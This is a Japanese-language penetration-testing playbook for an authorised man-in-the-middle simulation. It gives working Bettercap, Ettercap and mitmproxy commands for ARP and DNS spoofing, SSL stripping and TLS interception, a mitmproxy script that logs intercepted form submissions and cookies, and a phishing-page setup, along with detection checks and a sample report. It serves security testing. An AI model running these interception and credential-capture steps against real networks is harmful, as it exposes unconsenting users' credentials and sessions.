conducting-man-in-the-middle-attack-simulation

中間者攻撃シミュレーションの実施

使用する場面

• アプリケーションが TLS 証明書を適切に検証し、暗号化通信を強制しているかテストする場合
• 平文プロトコル（HTTP、FTP、Telnet、SMTP）のリスクを組織の関係者に示す場合
• HSTS、証明書ピンニング、その他の MITM 対策が正しく実装されているか検証する場合
• ARP スプーフィング、DHCP スプーフィング、DNS スプーフィング攻撃に対するネットワーク検知能力を評価する場合
• インシデント対応チームが MITM 攻撃の兆候を特定し、対応できるよう訓練する場合

本番ネットワークでは、明示的な書面による許可とロールバック計画がない場合、また、自分が所有していないシステムやテスト許可のないシステムに対して、または関係のない第三者の通信を傍受する目的では、使用しないでください。

前提条件

• 対象範囲と承認済みの MITM 手法を明記した書面による許可
• 攻撃者のマシンに Bettercap 2.x、Ettercap、mitmproxy がインストールされていること
• 対象ホストと同じネットワークセグメントへのレイヤー 2 アクセス
• TLS 傍受テスト用のカスタム CA 証明書（作業ごとに専用で生成）
• 傍受したトラフィックのキャプチャと検証に使用する Wireshark または tshark
• 隔離されたラボ環境、またはロールバック手順を用意した承認済みの本番テスト期間

ワークフロー

ステップ 1：攻撃環境を設定する

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"

ステップ 2：Bettercap で ARP ベースの MITM を実行する

# Start Bettercap with interactive mode
sudo bettercap -iface eth0

# Enable network probing to discover hosts
> net.probe on

# Display discovered hosts
> net.show

# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true

# Start ARP spoofing
> arp.spoof on

# Enable HTTP proxy for traffic inspection
> set http.proxy.sslstrip true
> http.proxy on

# Enable HTTPS proxy with certificate interception
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on

# Enable DNS spoofing for specific domains
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on

# Enable credential sniffer
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on

ステップ 3：mitmproxy で HTTP/HTTPS トラフィックを傍受する

# Start mitmproxy as transparent proxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
  --set ssl_insecure=true -w mitm_capture.flow

# Configure iptables to redirect traffic through mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Use mitmproxy scripting for automated credential extraction
cat > extract_creds.py << 'PYEOF'
"""mitmproxy script to extract credentials from intercepted traffic."""
from mitmproxy import http
import json

def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        content_type = flow.request.headers.get("content-type", "")
        if "form" in content_type or "json" in content_type:
            with open("captured_forms.log", "a") as f:
                f.write(f"URL: {flow.request.pretty_url}\n")
                f.write(f"Data: {flow.request.get_text()}\n")
                f.write("---\n")

def response(flow: http.HTTPFlow):
    # Log authentication cookies
    if "set-cookie" in flow.response.headers:
        with open("captured_cookies.log", "a") as f:
            f.write(f"URL: {flow.request.pretty_url}\n")
            f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
            f.write("---\n")
PYEOF

sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow

ステップ 4：DNS スプーフィングと DHCP 攻撃を実行する

# DNS spoofing with Ettercap
sudo tee /etc/ettercap/etter.dns << 'EOF'
# Redirect target domain to attacker's web server
example.com      A   192.168.1.99
*.example.com    A   192.168.1.99
www.example.com  A   192.168.1.99
EOF

sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//

# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway)
sudo bettercap -iface eth0
> set dhcp6.spoof.domains example.com
> dhcp6.spoof on

# Set up a phishing page on the attacker machine
sudo python3 -m http.server 80 --directory /var/www/phishing/

ステップ 5：検知を検証し、制御をテストする

# Verify certificate pinning is working on the target application
# If the app rejects the MITM CA, certificate pinning is effective
# Check the target machine for certificate errors

# Test HSTS enforcement
# If browser refuses HTTP connection after initial HTTPS, HSTS is working
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"

# Verify IDS detection of ARP spoofing
# Check Snort/Suricata alerts for ARP anomalies
grep -i "arp" /var/log/snort/alert_fast.txt

# Check if switch detected the attack (DAI logs)
# On Cisco switch: show ip arp inspection log

# Test network monitoring tools
# Verify that Zeek generated appropriate notices
cat /opt/zeek/logs/current/notice.log | zeek-cut note msg

# Capture evidence of successful/failed interception
tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300

ステップ 6：後片付けを行い、結果を記録する

# Stop all MITM attacks
# In Bettercap:
> arp.spoof off
> http.proxy off
> https.proxy off
> dns.spoof off
> quit

# Restore IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0

# Remove iptables rules
sudo iptables -t nat -F PREROUTING

# Verify ARP tables are restored on target hosts
# The target should re-learn correct MAC addresses via normal ARP

# Force ARP cache refresh (from target machine)
# arp -d 192.168.1.1 && ping -c 1 192.168.1.1

# Remove test CA certificate from any systems where it was installed
# Remove capture files containing sensitive data per engagement agreement

# Generate documentation
echo "MITM Simulation completed at $(date)" >> mitm_report.txt
sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt

主要な概念

用語	定義
中間者攻撃（MITM）	2者が直接通信していると信じている通信を、攻撃者が密かに傍受し、場合によっては改ざんする攻撃です
SSL ストリッピング	TLS によるアップグレード前の最初の HTTP リクエストを傍受して HTTPS 接続を HTTP にダウングレードし、暗号化を回避する攻撃です
HSTS（HTTP Strict Transport Security）	暗号化接続の要件をキャッシュすることで HTTPS 接続を強制し、SSL ストリッピングを防ぐブラウザーのセキュリティポリシーです
証明書ピンニング	事前設定された信頼済み証明書のセットとサーバー証明書を照合し、MITM プロキシの証明書を検知するアプリケーションのセキュリティ制御です
ARP キャッシュポイズニング	対象ホストの ARP キャッシュを改ざんし、攻撃者のマシンを経由するようにトラフィックを転送するレイヤー 2 の攻撃手法です
透過プロキシ	クライアント側の設定を必要とせずにトラフィックを傍受するプロキシです。通常、iptables の REDIRECT ルールを使用して標準ポート宛てのトラフィックを捕捉します

ツールとシステム

• Bettercap 2.x：ARP／DNS／DHCP スプーフィング、HTTP/HTTPS プロキシ、認証情報のスニッフィングに対応した、モジュール型アーキテクチャのネットワーク攻撃用万能ツール
• mitmproxy：Python スクリプトに対応し、HTTP/HTTPS トラフィックの傍受、検査、変更を行える TLS 対応の対話型プロキシ
• Ettercap：ARP スプーフィング、DNS スプーフィング、プラグインベースのトラフィック操作に対応した旧式の MITM ツール
• sslstrip：HTTP から HTTPS へのリダイレクトをプロキシし、ダウングレードした HTTP を提供することで SSL ストリッピング攻撃を実行するツール
• Wireshark：トラフィックの傍受を検証し、MITM の成否を示す証拠をキャプチャするパケットアナライザー

よくあるシナリオ

シナリオ：社内 Web アプリケーションの HTTPS 強制をテストする

コンテキスト：開発チームは、社内 Web アプリケーションが HSTS と証明書ピンニングによって HTTPS を強制していると主張しています。セキュリティチームは、許可された評価の一環としてこれらの制御を検証する必要があります。アプリケーションは 10.10.20.50 で稼働しており、10.10.1.0/24 VLAN 上のワークステーションからアクセスされます。

アプローチ：

1. 同じ VLAN 上に Bettercap をセットアップし、テスト用ワークステーション（10.10.1.100）に対して ARP スプーフィングを行う
2. Bettercap の HTTP プロキシ経由で SSL ストリッピングを有効にし、アプリケーションを HTTP にダウングレードできるかテストする
3. テスト用 CA 証明書を使った HTTPS インターセプトを有効にし、証明書の検証をテストする
4. テスト用ワークステーションからアプリケーションへのアクセスを試み、ブラウザーまたはアプリケーションが接続を拒否するか確認する
5. HSTS ヘッダーが存在し、max-age の値が適切であることを確認する
6. シッククライアントは証明書ピンニングを実装しておらず、MITM CA を受け入れる一方、Web ブラウザーは HSTS のプリロードにより適切に接続を拒否することを記録する
7. シッククライアントアプリケーションに証明書ピンニングを実装するよう推奨する

注意点：

• IP フォワーディングを有効にし忘れると、透過的なインターセプトではなくサービス拒否が発生します
• ブラウザーに HSTS がプリロードされたアプリケーションで SSL ストリッピングをテストし、HSTS が機能していると結論付けてしまうことがあります。新しいブラウザーインスタンスでは脆弱な可能性があります
• テスト後に ARP スプーフィングを解除し忘れると、対象の接続で断続的な問題が発生します
• 透過モードのフラグを指定せずに mitmproxy を実行すると、手動でプロキシを設定する必要が生じ、テスト条件が変わります

出力形式

## MITM Simulation Report

**Test ID**: MITM-2024-001
**Date**: 2024-03-15 14:00-16:00 UTC
**Target Application**: https://app.internal.corp (10.10.20.50)
**Test Workstation**: 10.10.1.100
**Attacker Machine**: 10.10.1.99

### Control Validation Results

| Control | Status | Details |
|---------|--------|---------|
| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 |
| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload |
| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome/Firefox |
| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS |
| Cert Pinning (Browser) | N/A | Standard CA validation only |
| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation |
| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds |

### Recommendations
1. Implement certificate pinning in the thick client (high priority)
2. Add HSTS preload list submission for the domain
3. Enable DAI on access-layer switches for Layer 2 protection
4. Configure application to reject connections from non-pinned certificates